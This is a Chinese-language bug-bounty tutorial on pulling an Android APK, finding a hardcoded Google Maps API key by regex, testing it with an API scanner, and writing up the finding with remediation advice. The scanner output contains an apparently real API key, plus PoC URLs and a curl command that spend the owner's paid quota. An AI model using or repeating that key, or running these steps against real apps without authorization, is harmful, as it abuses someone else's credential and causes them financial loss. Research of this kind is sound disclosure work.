在apk中获取googlemap key并利用

一般google map都在国外的应用上,所以得安装google play,需要在google play上下载安装应用后提取apk文件后,然后使用脚本扫描敏感信息也包括google map key,当然它的key特征很明显,很容易正则匹配到,那拿到key我们需要验证有效性,成功访问api返回数据说明存在google map key接管。

步骤

step 1 找到一个目标app 下载 提取apk
https://play.google.com/store/games?device=phone
随便下载一个app到手机上或者模拟器上

提取app到电脑上
可以使用下面的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查看顶层activity 可以用来获取包名
adb shell dumpsys window w |findstr \/ |findstr name=

包名是大概长得这样的 com.xx.xx

# 进入app的路径查看最近的文件夹
cd /data/app/

ls -itl

# 进入最新的文件夹 然后进入第一步进入的包名的文件夹 下面存在一个base.apk就是刚刚安装的app的原始apk文件
cd /data/app/~~SJaYUKSMnH7mLOrj-pnSdQ==/com.xx.xx-V3UKudwigpTEIwCM_VQjtA==

# 下载apk到电脑
adb pull /data/app/~~SJaYUKSMnH7mLOrj-pnSdQ==/com.xx.xx-V3UKudwigpTEIwCM_VQjtA==/base.apk

step 2 使用脚本正则匹配key
这里用了一个工具 ApkCheckPack

1
2
3
4
使用参数-s=true(默认false)开启全文件硬编码信息扫描,-f参数指定apk文件或文件夹
ApkCheckPack.exe -s=true -f test.apk

ApkCheckPack_windows_amd64.exe -s=true -f "D:\下载\base.apk" >> output_0815.txt

如果顺利的话会输出一个AIza开头的google map key

1
2
发现硬编码信息: resources.arsc
规则: AIza[0-9A-Za-z\\-_]{35} 匹配值: AIzaSyB6kkzsoXDxxxxxxxxxxxxxx

step 3 尝试测试api
这里还有个工具gmapsapiscanner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
python maps_api_scanner.py

λ python maps_api_scanner.py
Please enter the Google Maps API key you wanted to test: AIzaSyD6VRivTWso8Xt0dpuKql4ki6kXfUo9X5A
API key is vulnerable for Staticmap API! Here is the PoC link which can be used directly via browser:
https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=AIzaSyD6VRivTWso8Xt0dpuKql4ki6kXfUo9X5A
API key is not vulnerable for Staticmap API.
Reason: b'The Google Maps Platform server rejected your request. This API project is not authorized to use this API.'
API key is not vulnerable for Directions API.
Reason: This API project is not authorized to use this API.
API key is vulnerable for Geocode API! Here is the PoC link which can be used directly via browser:
https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=AIzaSyD6VRivTWso8Xt0dpuKql4ki6kXfUo9X5A
API key is not vulnerable for Distance Matrix API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Find Place From Text API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Autocomplete API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Elevation API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Timezone API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Nearest Roads API.
Reason: Roads API has not been used in project 6518302203 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/roads.googleapis.com/overview?project=6518302203 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.
API key is vulnerable for Geolocation API! Here is the PoC curl command which can be used from terminal:
curl -i -s -k -X $'POST' -H $'Host: www.googleapis.com' -H $'Content-Length: 22' --data-binary $'{"considerIp": "true"}' $'https://www.googleapis.com/geolocation/v1/geolocate?key=AIzaSyD6VRivTWso8Xt0dpuKql4ki6kXfUo9X5A'
API key is not vulnerable for Route to Traveled API.
Reason: Roads API has not been used in project 6518302203 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/roads.googleapis.com/overview?project=6518302203 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.
API key is not vulnerable for Speed Limit-Roads API.
Reason: Roads API has not been used in project 6518302203 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/roads.googleapis.com/overview?project=6518302203 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.
API key is not vulnerable for Place Details API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Nearby Search-Places API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Text Search-Places API.
Reason: This API project is not authorized to use this API.
API key is not vulnerable for Places Photo API.
Reason: Verbose responses are not enabled for this API, cannot determine the reason.
API key is not vulnerable for FCM API.
Reason: INVALID_KEY_TYPE
-------------------------------------------------------------
Results || Cost Table/Reference to Exploit:
-------------------------------------------------------------
- Staticmap || $2 per 1000 requests
- Geocode || $5 per 1000 requests
- Geolocation || $5 per 1000 requests
-------------------------------------------------------------
Reference for up-to-date pricing:
https://cloud.google.com/maps-platform/pricing
https://developers.google.com/maps/billing/gmp-billing
Do you want to conduct tests for Javascript API? (Will need manual confirmation + file creation) (Y/N)n
Operation is over. Thanks for using G-Maps API Scanner!


存在poc的就是利用成功的

例如这个

https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=AIzaSyD6VRivTWso8Xt0dpuKql4ki6kXfUo9X5A

step 4 编写报告阐述危害

提供通常的说明

总结:
xx-Potential Google Map API Misuse Vulnerability
Can cause API resource damage and financial damage

危害:

Impact
Business Impact:
Attackers can exploit the captured Google Maps API key belonging to by xx APP making unauthorized calls to its Google Maps API quota. This malicious activity can lead to the theft and exhaustion of the API quota, causing issues such as abnormal map loading, inability to use location services, and ultimately degrading the user experience once the quota is fully consumed.
Severity: If the API key is not properly restricted, it means that security measures have not been adequately implemented to limit the access and usage of the key to authorized users or services only. This leaves the API key vulnerable to misuse, including but not limited to being captured and abused by attackers, resulting in unauthorized access and potentially harmful consequences like exhausting the API quota or causing service disruptions.

修复:

Remediation Recommendation: Refer to the official Google Maps documentation to correctly set the Restricting API keys https://developers.google.com/maps/documentation/android-sdk/get-api-key#restrict_key

https://infosecwriteups.com/how-i-was-able-to-find-and-exploit-the-google-maps-api-key-of-a-target-and-you-can-do-it-too-8142ba0453cb